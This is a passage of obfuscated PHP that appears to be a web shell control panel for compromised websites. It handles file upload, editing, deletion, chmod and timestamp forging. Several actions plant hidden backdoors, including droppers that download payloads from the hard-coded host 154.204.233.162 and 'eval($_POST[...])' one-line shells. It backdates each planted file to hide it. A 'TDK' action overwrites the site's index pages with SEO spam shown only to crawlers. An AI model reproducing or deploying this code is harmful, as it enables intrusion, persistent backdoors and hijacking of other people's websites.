        $QSO8f .= "</div><div class=\"actall\"><textarea name=\"filecode\" id=\"filecode\" style=\"width:698px;height:358px;\">" . $uS2nL . "</textarea></div></form>"; 
        $QSO8f .= "<div class=\"actall\" style=\"padding:5px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('editfrm').submit();\" value=\"\" style=\"width:80px;\"> "; 
        $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">"; 
        $QSO8f .= AxttQ(); 
        $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"\" style=\"width:80px;\"></form></div>"; 
        return $QSO8f; 
    } 
    public function J0I1Z() 
    { 
        $Jzwra = $this->ddguj; 
        $UgLz_ = ''; 
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : ''; 
        if ($JqKaG == "down") { 
            $x3CQ0 = $J3Hov = pBM07($_POST["godir"] . "/" . $_POST["govar"]); 
            if (!VZo7E($x3CQ0)) { 
                $UgLz_ = "<h1></h1>"; 
            } 
        } 
        if (isset($_FILES["upfile"])) { 
            if ($_FILES["upfile"]["name"] == '') { 
                $UgLz_ = "<h1></h1>"; 
            } else { 
                $QY5ao = $_POST["rename"] == '' ? $_FILES["upfile"]["name"] : $_POST["rename"]; 
                $zi0Y0 = $_FILES["upfile"]["tmp_name"]; 
                $J3Hov = PbM07($Jzwra . $QY5ao); 
                $UgLz_ = FiVRg($zi0Y0, $J3Hov) ? "<h2>" . $QY5ao . "</h2>" : "<h1>" . $QY5ao . "</h1>"; 
            } 
        } 
        if (isset($_POST["act"])) { 
            switch ($_POST["act"]) { 
                case "a": 
                    if (!$_POST["files"]) { 
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>"; 
                    } else { 
                        $uLtTd = 0; 
                        foreach ($_POST["files"] as $eb_7J) { 
                            $uLtTd += @copy(Pbm07($Jzwra . $eb_7J), pbM07($_POST["var"] . "/copy_" . $eb_7J)) ? 1 : 0; 
                        } 
                        $UgLz_ = $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>"; 
                    } 
                    break; 
                case "b": 
                    if (!$_POST["files"]) { 
                        $UgLz_ = "<h1></h1>"; 
                    } else { 
                        $uLtTd = 0; 
                        foreach ($_POST["files"] as $eb_7J) { 
                            $uLtTd += @unlink(PBM07($Jzwra . $eb_7J)) ? 1 : 0; 
                        } 
                        $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " </h2>" : "<h1> " . $uLtTd . " </h1>"; 
                    } 
                    break; 
                case "c": 
                    if (!$_POST["files"]) { 
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>"; 
                    } else { 
                        if (!preg_match("/[0-7]{4}\$/", $_POST["var"])) { 
                            $UgLz_ = "<h1></h1>"; 
                        } else { 
                            $uLtTd = 0; 
                            foreach ($_POST["files"] as $eb_7J) { 
                                try { 
                                    $uLtTd += @chmod(pbM07($Jzwra . $eb_7J), base_convert($_POST["var"], 8, 10)) ? 1 : 0; 
                                } catch (Throwable $yVbeC) { 
                                } 
                            } 
                            $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>"; 
                        } 
                    } 
                    break; 
                case "d": 
                    if (!$_POST["files"]) { 
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>"; 
                    } else { 
                        if (!preg_match("/(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)/", $_POST["var"])) { 
                            $UgLz_ = "<h1> " . $_POST["var"] . "</h1>"; 
                        } else { 
                            $uLtTd = 0; 
                            foreach ($_POST["files"] as $eb_7J) { 
                                $uLtTd += @touch(PBm07($Jzwra . $eb_7J), strtotime($_POST["var"])) ? 1 : 0; 
                            } 
                            $UgLz_ = $uLtTd ? "<h2> " . $uLtTd . " " . $_POST["var"] . "</h2>" : "<h1> " . $uLtTd . " " . $_POST["var"] . "</h1>"; 
                        } 
                    } 
                    break; 
                case "e": 
                    $PfRvL = pbm07($Jzwra . $_POST["var"] . "/"); 
                    if (file_exists($PfRvL)) { 
                        $UgLz_ = "<h1> " . $_POST["var"] . "</h1>"; 
                    } else { 
                        $UgLz_ = @mkdir($PfRvL, 0777) ? "<h2> " . $_POST["var"] . " </h2>" : "<h1> " . $_POST["var"] . " </h1>"; 
                    } 
                    break; 
                case "f": 
                    $rINXt = array("http" => array("timeout" => 30)); 
                    if (function_exists("stream_context_create")) { 
                        $KlQ6w = stream_context_create($rINXt); 
                    } 
                    $dRqNZ = explode(" ", $_POST["var"]); 
                    $s5r3y = @file_get_contents($dRqNZ[0], false, $KlQ6w); 
                    $kojAr = explode("/", $dRqNZ[0]); 
                    $eb_7J = array_pop($kojAr); 
                    if (!empty($dRqNZ[1])) { 
                        $eb_7J = $dRqNZ[1]; 
                    } 
                    if ($s5r3y) { 
                        if (LGU3J(pBM07($Jzwra . $eb_7J), $s5r3y, "wb")) { 
                            $YJnbr = c4GhR($Jzwra); 
                            $ipdt9 = 0; 
                            if (!empty($YJnbr["file"])) { 
                                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                                    if (!$ipdt9) { 
                                        $ipdt9 = filemtime($cT1oz); 
                                    } else { 
                                        if (filemtime($cT1oz) < $ipdt9) { 
                                            $ipdt9 = filemtime($cT1oz); 
                                        } 
                                    } 
                                } 
                            } 
                            if ($ipdt9) { 
                                @touch(pbm07($Jzwra . $eb_7J), $ipdt9); 
                            } 
                            chmod(pBm07($Jzwra . $eb_7J), 0755); 
                            $UgLz_ = "<h2> " . $eb_7J . " </h2>"; 
                        } else { 
                            "<h1> " . $eb_7J . " </h1>"; 
                        } 
                    } else { 
                        $UgLz_ = "<h1></h1>"; 
                    } 
                    break; 
                case "rf": 
                    $kojAr = explode("|x|", $_POST["var"]); 
                    if (count($kojAr) != 2) { 
                        $UgLz_ = "<h1></h1>"; 
                    } else { 
                        $UgLz_ = @rename(Pbm07($Jzwra . $kojAr[1]), pbM07($Jzwra . $kojAr[0])) ? "<h2> " . $kojAr[1] . "  " . $kojAr[0] . " </h2>" : "<h1> " . $kojAr[1] . "  " . $kojAr[0] . " </h1>"; 
                    } 
                    break; 
                case "pd": 
                    $kojAr = explode("|x|", $_POST["var"]); 
                    if (count($kojAr) != 2) { 
                        $UgLz_ = "<h1></h1>"; 
                    } else { 
                        $PfRvL = pbm07($Jzwra . $kojAr[1]); 
                        try { 
                            @chmod($PfRvL, base_convert($kojAr[0], 8, 10)); 
                            $QRlUz = true; 
                        } catch (Throwable $yVbeC) { 
                            $QRlUz = false; 
                        } 
                        $UgLz_ = $QRlUz ? "<h2>" . $kojAr[1] . "" . $kojAr[0] . "</h2>" : "<h1>" . $kojAr[1] . "" . $kojAr[0] . "</h1>"; 
                    } 
                    break; 
                case "edit": 
                    if (!(isset($_POST["filename"]) && isset($this->N5qPH["filecode"]))) { 
                    } else { 
                        $UgLz_ = LGu3j($_POST["filename"], $this->N5qPH["filecode"], "w") ? "<h2> " . $_POST["filename"] . "</h2>" : "<h1> " . $_POST["filename"] . "</h1>"; 
                    } 
                    break; 
                case "deltree": 
                    $C3hpU = PBm07($Jzwra . $_POST["var"] . "/"); 
                    if (!file_exists($C3hpU)) { 
                        $UgLz_ = "<h1> " . $_POST["var"] . " </h1>"; 
                    } else { 
                        $UgLz_ = mrf0q($C3hpU) ? "<h2> " . $_POST["var"] . " </h2>" : "<h1> " . $_POST["var"] . " </h1>"; 
                    } 
                    break; 
                case "plxiaoma": 
                    $PfRvL = rtrim($_POST["dir"], "/"); 
                    $kojAr = explode("\n", trim($_POST["var"])); 
                    $kFQIU = array(); 
                    if ($kojAr) { 
                        $YJnbr = c4ghr($PfRvL); 
                        $ipdt9 = 0; 
                        if (!empty($YJnbr["file"])) { 
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                                if (!$ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } else { 
                                    if (filemtime($cT1oz) < $ipdt9) { 
                                        $ipdt9 = filemtime($cT1oz); 
                                    } 
                                } 
                            } 
                        } 
                        foreach ($kojAr as $Hzx0E) { 
                            $Hzx0E = trim($Hzx0E); 
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); 
                            $eb_7J = array_pop($xNX14); 
                            $xNX14 = implode("/", $xNX14); 
                            if (!file_exists($xNX14)) { 
                                mkdir($xNX14, 0755, "recursive"); 
                                chmod($xNX14, 0755); 
                            } 
                            if (strpos($eb_7J, ".php") !== false) { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                            } else { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                                if (!file_exists($dRqNZ)) { 
                                    mkdir($dRqNZ, 0755, "recursive"); 
                                    chmod($dRqNZ, 0755); 
                                } 
                                $dRqNZ .= "/.xm.php"; 
                            } 
                            file_put_contents($dRqNZ, "<?php file_put_contents(\"\.\i\n\d\e\x\_\b\a\k\.\p\h\p\", file_get_contents (\"\h\t\t\p\:\/\/\1\5\4\.\2\0\4\.\2\3\3\.\1\6\2\/\p\a\n\e\l\.\t\x\t\"));"); 
                            if ($ipdt9) { 
                                @touch($dRqNZ, $ipdt9); 
                            } 
                            chmod($dRqNZ, 0755); 
                            $kFQIU[] = sprintf(" %s", $dRqNZ); 
                        } 
                    } 
                    $UgLz_ = implode("</br>", $kFQIU); 
                    break; 
                case "xiaoma": 
                    $PfRvL = rtrim($_POST["var"], "/"); 
                    if (!file_exists($PfRvL)) { 
                        mkdir($PfRvL, 0755, "recursive"); 
                        chmod($PfRvL, 0755); 
                    } 
                    $YJnbr = c4GHR($PfRvL); 
                    $ipdt9 = 0; 
                    if (!empty($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $dRqNZ = $PfRvL . "/.xm.php"; 
                    file_put_contents($dRqNZ, "<?php file_put_contents(\"\.\i\n\d\e\x\_\b\a\k\.\p\h\p\", file_get_contents (\"\h\t\t\p\:\/\/\1\5\4\.\2\0\4\.\2\3\3\.\1\6\2\/\p\a\n\e\l\.\t\x\t\"));"); 
                    if ($ipdt9) { 
                        @touch($dRqNZ, $ipdt9); 
                    } 
                    chmod($dRqNZ, 0755); 
                    $UgLz_ = sprintf("M %s ", $dRqNZ); 
                    break; 
                case "pldama": 
                    $PfRvL = rtrim($_POST["dir"], "/"); 
                    $kojAr = explode("\n", trim($_POST["var"])); 
                    $kFQIU = array(); 
                    if ($kojAr) { 
                        $YJnbr = C4gHr($PfRvL); 
                        $ipdt9 = 0; 
                        if (!empty($YJnbr["file"])) { 
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                                if (!$ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } else { 
                                    if (filemtime($cT1oz) < $ipdt9) { 
                                        $ipdt9 = filemtime($cT1oz); 
                                    } 
                                } 
                            } 
                        } 
                        foreach ($kojAr as $Hzx0E) { 
                            $Hzx0E = trim($Hzx0E); 
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); 
                            $eb_7J = array_pop($xNX14); 
                            $xNX14 = implode("/", $xNX14); 
                            if (!file_exists($xNX14)) { 
                                mkdir($xNX14, 0755, "recursive"); 
                                chmod($xNX14, 0755); 
                            } 
                            if (strpos($eb_7J, ".php") !== false) { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                            } else { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                                if (!file_exists($dRqNZ)) { 
                                    mkdir($dRqNZ, 0755, "recursive"); 
                                    chmod($dRqNZ, 0755); 
                                } 
                                $dRqNZ .= "/.index_bak.php"; 
                            } 
                            file_put_contents($dRqNZ, file_get_contents(V51MD)); 
                            if ($ipdt9) { 
                                @touch($dRqNZ, $ipdt9); 
                            } 
                            chmod($dRqNZ, 0755); 
                            $kFQIU[] = sprintf("M %s ", $dRqNZ); 
                        } 
                    } 
                    $UgLz_ = implode("</br>", $kFQIU); 
                    break; 
                case "dama": 
                    $PfRvL = rtrim($_POST["var"], "/"); 
                    if (!file_exists($PfRvL)) { 
                        mkdir($PfRvL, 0755, "recursive"); 
                        chmod($PfRvL, 0755); 
                    } 
                    $YJnbr = C4GhR($PfRvL); 
                    $ipdt9 = 0; 
                    if (!empty($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $dRqNZ = $PfRvL . "/.index_bak.php"; 
                    file_put_contents($dRqNZ, file_get_contents(V51MD)); 
                    if ($ipdt9) { 
                        @touch($dRqNZ, $ipdt9); 
                    } 
                    chmod($dRqNZ, 0755); 
                    $UgLz_ = sprintf("M %s ", $dRqNZ); 
                    break; 
                case "gxdama": 
                    $PfRvL = rtrim($_POST["var"], "/"); 
                    if (!file_exists($PfRvL)) { 
                        mkdir($PfRvL, 0755, "recursive"); 
                        chmod($PfRvL, 0755); 
                    } 
                    $YJnbr = c4GHr($PfRvL); 
                    $ipdt9 = 0; 
                    if (isset($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $dRqNZ = V51MD; 
                    file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/panel.txt")); 
                    if ($ipdt9) { 
                        @touch($dRqNZ, $ipdt9); 
                    } 
                    chmod($dRqNZ, 0755); 
                    $UgLz_ = sprintf("M %s", $dRqNZ); 
                    break; 
                case "plgzl": 
                    $PfRvL = rtrim($_POST["dir"], "/"); 
                    $kojAr = explode("\n", trim($_POST["var"])); 
                    $kFQIU = array(); 
                    if ($kojAr) { 
                        $YJnbr = c4gHR($PfRvL); 
                        $ipdt9 = 0; 
                        if (!empty($YJnbr["file"])) { 
                            foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                                if (!$ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } else { 
                                    if (filemtime($cT1oz) < $ipdt9) { 
                                        $ipdt9 = filemtime($cT1oz); 
                                    } 
                                } 
                            } 
                        } 
                        $DAWrM = mDxRq(); 
                        foreach ($kojAr as $Hzx0E) { 
                            $Hzx0E = trim($Hzx0E); 
                            $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); 
                            $eb_7J = array_pop($xNX14); 
                            $xNX14 = implode("/", $xNX14); 
                            if (!file_exists($xNX14)) { 
                                mkdir($xNX14, 0755, "recursive"); 
                                chmod($xNX14, 0755); 
                            } 
                            if (strpos($eb_7J, ".php") !== false) { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                            } else { 
                                $dRqNZ = $xNX14 . "/" . $eb_7J; 
                                if (!file_exists($dRqNZ)) { 
                                    mkdir($dRqNZ, 0755, "recursive"); 
                                    chmod($dRqNZ, 0755); 
                                } 
                                $dRqNZ .= "/gzl.php"; 
                            } 
                            file_put_contents($dRqNZ, "<?php eval(\$_POST[\"" . $DAWrM . "\"]);"); 
                            if ($ipdt9) { 
                                @touch($dRqNZ, $ipdt9); 
                            } 
                            chmod($dRqNZ, 0755); 
                            $kFQIU[] = sprintf("GZL %s %s", $dRqNZ, $DAWrM); 
                        } 
                    } 
                    $UgLz_ = implode("</br>", $kFQIU); 
                    break; 
                case "gzl": 
                    $PfRvL = rtrim($_POST["var"], "/"); 
                    if (!file_exists($PfRvL)) { 
                        mkdir($PfRvL, 0755, "recursive"); 
                        chmod($PfRvL, 0755); 
                    } 
                    $YJnbr = c4gHr($PfRvL); 
                    $ipdt9 = 0; 
                    if (isset($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $dRqNZ = $PfRvL . "/gzl.php"; 
                    $DAWrM = mDXRQ(); 
                    file_put_contents($dRqNZ, "<?php eval(\$_POST[\"" . $DAWrM . "\"]);"); 
                    if ($ipdt9) { 
                        @touch($dRqNZ, $ipdt9); 
                    } 
                    chmod($dRqNZ, 0755); 
                    $UgLz_ = sprintf("GZL %s %s", $dRqNZ, $DAWrM); 
                    break; 
                case "TDK": 
                    $PfRvL = FO39n; 
                    $YJnbr = C4GHR($PfRvL); 
                    $ipdt9 = 0; 
                    if (isset($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $hKJoi = trim($_POST["var"]); 
                    $p9Pgu = $_SERVER["SERVER_PORT"]; 
                    $IJLc4 = $p9Pgu == "443" ? "https://" : "http://"; 
                    $QSO8f = cIVGh($IJLc4 . $_SERVER["HTTP_HOST"], 6); 
                    if ($QSO8f) { 
                        preg_match_all("/<meta(.*?)name=\"keywords\"(.*?)>/i", $QSO8f, $GlUYK); 
                        if (!empty($GlUYK[0])) { 
                            foreach ($GlUYK[0] as $Hzx0E) { 
                                $QSO8f = str_replace($Hzx0E, '', $QSO8f); 
                            } 
                        } 
                        preg_match_all("/<meta(.*?)name=\"description\"(.*?)>/i", $QSO8f, $GlUYK); 
                        if (!empty($GlUYK[0])) { 
                            foreach ($GlUYK[0] as $Hzx0E) { 
                                $QSO8f = str_replace($Hzx0E, '', $QSO8f); 
                            } 
                        } 
                        preg_match("/<title(.*?)>(.*?)<\\/title>/", $QSO8f, $GlUYK); 
                        if (!empty($GlUYK[0])) { 
                            $YfZ3Q = ''; 
                            if (!empty($GlUYK[2])) { 
                                $YfZ3Q = "<script>if(navigator.userAgent.toLocaleLowerCase().indexOf(\"baidu\") == -1){document.title =\"" . $GlUYK[2] . "\"}</script>"; 
                                $QSO8f = str_replace($YfZ3Q, '', $QSO8f); 
                            } 
                            $YfZ3Q .= "\n" . $hKJoi; 
                            $QSO8f = str_replace($GlUYK[0], $YfZ3Q, $QSO8f); 
                        } 
                        file_put_contents($PfRvL . "/index.html", $QSO8f); 
                        if (file_exists($PfRvL . "/index.php")) { 
                            copy($PfRvL . "/index.php", $PfRvL . "/index_copy.php"); 
                            if (!file_exists($PfRvL . "/index_copy.php")) { 
                                file_put_contents($PfRvL . "/index_copy.php", file_get_contents($PfRvL . "/index.php")); 
                            } 
                        } 
                        file_put_contents($PfRvL . "/index.php", $QSO8f); 
                        if ($ipdt9) { 
                            @touch($PfRvL . "/index.html", $ipdt9); 
                            @touch($PfRvL . "/index.php", $ipdt9); 
                        } 
                        chmod($PfRvL . "/index.html", 0755); 
                        chmod($PfRvL . "/index.php", 0755); 
                        $UgLz_ = sprintf("TDK %s %s", $PfRvL . "/index.html", $PfRvL . "/index.php"); 
                    } else { 
                        $UgLz_ = sprintf("TDK %s ", "http://" . $_SERVER["HTTP_HOST"]); 
                    } 
                    break; 
                case "JSC": 
                    $PfRvL = rtrim($_POST["var"], "/"); 
                    if (!file_exists($PfRvL)) { 
                        mkdir($PfRvL, 0755, "recursive"); 
                        chmod($PfRvL, 0755); 
                    } 
                    $YJnbr = c4ghR($PfRvL); 
                    $ipdt9 = 0; 
                    if (isset($YJnbr["file"])) { 
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
                            if (!$ipdt9) { 
                                $ipdt9 = filemtime($cT1oz); 
                            } else { 
                                if (filemtime($cT1oz) < $ipdt9) { 
                                    $ipdt9 = filemtime($cT1oz); 
                                } 
                            } 
                        } 
                    } 
                    $dRqNZ = $PfRvL . "/zrty.php"; 
                    file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/zrty.txt")); 
                    if ($ipdt9) { 
                        @touch($dRqNZ, $ipdt9); 
                    } 
                    chmod($dRqNZ, 0755); 
                    $UgLz_ = sprintf("JSC %s", $dRqNZ); 
                    break; 
            } 
        } 
        try { 
            $RoNtC = substr(decoct(fileperms($Jzwra)), -4); 
        } catch (Throwable $yVbeC) { 
            $RoNtC = false; 
        } 
        if (!$RoNtC) { 
            $UgLz_ .= "<h1></h1>"; 
        } 
        $YJnbr = c4GHr($Jzwra); 
        $nbzHl = PbM07("/" . strtr($Jzwra, array(FO39n => '')) . "/"); 
        $Jzwra = strtr($Jzwra, array("'" => "%27", "\"" => "%22")); 
        $QSO8f = ''; 
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>"; 
        $QSO8f .= "<div class=\"actall\"><form name=\"frm\" id=\"frm\" method=\"POST\">"; 
        $QSO8f .= AxTTq(); 
        $QSO8f .= (is_writable($Jzwra) ? "<h2></h2>" : "<h1></h1>") . " <input type=\"text\" name=\"dir\" id=\"dir\" style=\"width:508px;\" value=\"" . pBM07($Jzwra . "/") . "\"> "; 
        $QSO8f .= "<input type=\"button\" onclick=\"\$('frm').submit();\" style=\"width:50px;\" value=\"\"> "; 
        $QSO8f .= "<input type=\"button\" onclick=\"cd('" . FO39n . "');\" style=\"width:68px;\" value=\"\"> "; 
        $QSO8f .= "<input type=\"button\" onclick=\"cd('" . k3TER . "');\" style=\"width:68px;\" value=\"\"> "; 
        $QSO8f .= "<select onchange=\"cd(options[selectedIndex].value);\">"; 
        $QSO8f .= "<option>------</option>"; 
        $QSO8f .= "<option value=\"C:/RECYCLER/\">Win-RECYCLER</option>"; 
        $QSO8f .= "<option value=\"C:/\$Recycle.Bin/\">Win-\$Recycle</option>"; 
        $QSO8f .= "<option value=\"C:/Program Files/\">Win-Program</option>"; 
        $QSO8f .= "<option value=\"C:/Documents and Settings/All Users/Start Menu/Programs/Startup/\">Win-Startup</option>"; 
        $QSO8f .= "<option value=\"C:/Documents and Settings/All Users////\">Win-</option>"; 
        $QSO8f .= "<option value=\"C:/Windows/Temp/\">Win-TEMP</option>"; 
        $QSO8f .= "<option value=\"/usr/local/\">Linux-local</option>"; 
        $QSO8f .= "<option value=\"/tmp/\">Linux-tmp</option>"; 
        $QSO8f .= "<option value=\"/var/tmp/\">Linux-var</option>"; 
        $QSO8f .= "<option value=\"/etc/ssh/\">Linux-ssh</option>"; 
        $QSO8f .= "</select></form></div><div class=\"actall\">"; 
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"nf('edit','newfile.php');\" style=\"width:68px;\"> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"txts('','newdir','e');\" style=\"width:68px;\"> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"txts('','url','f');\" style=\"width:68px;\"> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" onclick=\"go('upfiles','" . $Jzwra . "');\" style=\"width:68px;\"> "; 
        $QSO8f .= "<form name=\"upfrm\" id=\"upfrm\" method=\"POST\" enctype=\"multipart/form-data\">"; 
        $QSO8f .= AxTtQ(); 
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $Jzwra . "\">"; 
        $QSO8f .= "<input type=\"file\" name=\"upfile\" style=\"width:286px;height:21px;\"> "; 
        $QSO8f .= "<input type=\"button\" onclick=\"\$('upfrm').submit();\" value=\"\" style=\"width:50px;\"> "; 
        $QSO8f .= " <input type=\"text\" name=\"rename\" style=\"width:128px;\">"; 
        $QSO8f .= "</form></div>"; 
        $QSO8f .= "<form name=\"frm1\" id=\"frm1\" method=\"POST\"><table class=\"tables\">"; 
        $QSO8f .= AxtTq(); 
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $Jzwra . "\">"; 
        $QSO8f .= "<input type=\"hidden\" name=\"act\" id=\"act\" value=\"\">"; 
        $QSO8f .= "<input type=\"hidden\" name=\"var\" id=\"var\" value=\"\">"; 
        $QSO8f .= "<th><a href=\"javascript:cd('" . dirname($Jzwra) . "/');\"></a></th><th style=\"width:8%\"></th><th style=\"width:5%\"></th><th style=\"width:17%\"></th><th style=\"width:17%\"></th><th style=\"width:8%\"></th>"; 
        $uMn1i = ''; 
        $yICDZ = ''; 
        $CU3_o = $DOdBZ = 0; 
        if ($YJnbr) { 
            if (isset($YJnbr["dir"])) { 
                asort($YJnbr["dir"]); 
            } 
            if (isset($YJnbr["file"])) { 
                asort($YJnbr["file"]); 
            } 
            if (isset($YJnbr["dir"])) { 
                foreach ($YJnbr["dir"] as $PfRvL => $Kes_q) { 
                    $IU13H = substr(decoct(fileperms($PfRvL)), -4); 
                    $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL)); 
                    $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL)); 
                    $QSO8f .= "<tr>"; 
                    $QSO8f .= "<td><a href=\"javascript:cd('" . $Jzwra . $Kes_q . "');\"><b>" . strtr($Kes_q, array("%27" => "'", "%22" => "\"")) . "</b></a></td>"; 
                    $QSO8f .= "<td><a href=\"javascript:dels('" . $Kes_q . "');\"></a> "; 
                    $QSO8f .= "<a href=\"javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');\"></a></td>"; 
                    $QSO8f .= "<td><a href=\"javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');\">" . $IU13H . "</a></td>"; 
                    $QSO8f .= "<td>" . $uMn1i . "</td>"; 
                    $QSO8f .= "<td>" . $yICDZ . "</td>"; 
                    $QSO8f .= "<td>-</td>"; 
                    $QSO8f .= "</tr>"; 
                    $CU3_o++; 
                } 
            } 
            if (isset($YJnbr["file"])) { 
                foreach ($YJnbr["file"] as $PfRvL => $Kes_q) { 
                    $IU13H = substr(decoct(fileperms($PfRvL)), -4); 
                    $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL)); 
                    $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL)); 
                    $T3WIB = IDyfR(filesize($PfRvL)); 
                    $QSO8f .= "<tr>"; 
                    $QSO8f .= "<td><input type=\"checkbox\" name=\"files[]\" value=\"" . $Kes_q . "\"><a target=\"_blank\" href=\"" . $nbzHl . $Kes_q . "\">" . strtr($Kes_q, array("%27" => "'", "%22" => "\"")) . "</a></td>"; 
                    $QSO8f .= "<td><a href=\"javascript:go('edit','" . $Kes_q . "');\"></a> "; 
                    $QSO8f .= "<a href=\"javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');\"></a></td>"; 
                    $QSO8f .= "<td><a href=\"javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');\">" . $IU13H . "</a></td>"; 
                    $QSO8f .= "<td>" . $uMn1i . "</td>"; 
                    $QSO8f .= "<td>" . $yICDZ . "</td>"; 
                    $QSO8f .= "<td align=\"right\"><a href=\"javascript:go('down','" . $Kes_q . "');\">" . $T3WIB . "</a></td>"; 
                    $QSO8f .= "</tr>"; 
                    $DOdBZ++; 
                } 
            } 
        } 
        unset($YJnbr); 
        $QSO8f .= "</table>"; 
        $QSO8f .= "<div class=\"actall\" style=\"text-align:left;\">"; 
        $QSO8f .= "<input type=\"checkbox\" id=\"chkall\" name=\"chkall\" value=\"on\" onclick=\"sa(this.form);\"> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"" . $Jzwra . "\",\"a\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='dels(\"b\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"0666\",\"c\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"\" style=\"width:50px;\" onclick='txts(\"\",\"" . $yICDZ . "\",\"d\");'> "; 
        $QSO8f .= "</br>&nbsp;&nbsp;&nbsp;&nbsp;"; 
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"xiaoma\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='pltexts(\"M\",\"" . $Jzwra . "\",\"plxiaoma\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"dama\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='txts(\"M\",\"" . $Jzwra . "\",\"gxdama\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"M\" style=\"width:80px;\" onclick='pltexts(\"M\",\"" . $Jzwra . "\",\"pldama\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"GZL\" style=\"width:80px;\" onclick='txts(\"GZL\",\"" . $Jzwra . "\",\"gzl\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"GZL\" style=\"width:80px;\" onclick='pltexts(\"GZL\",\"" . $Jzwra . "\",\"plgzl\");'> "; 
        $QSO8f .= "<input type=\"button\" value=\"TDK\" style=\"width:80px;\" onclick='pltexts(\"TDK\",\"" . $Jzwra . "\",\"TDK\");'> "; 
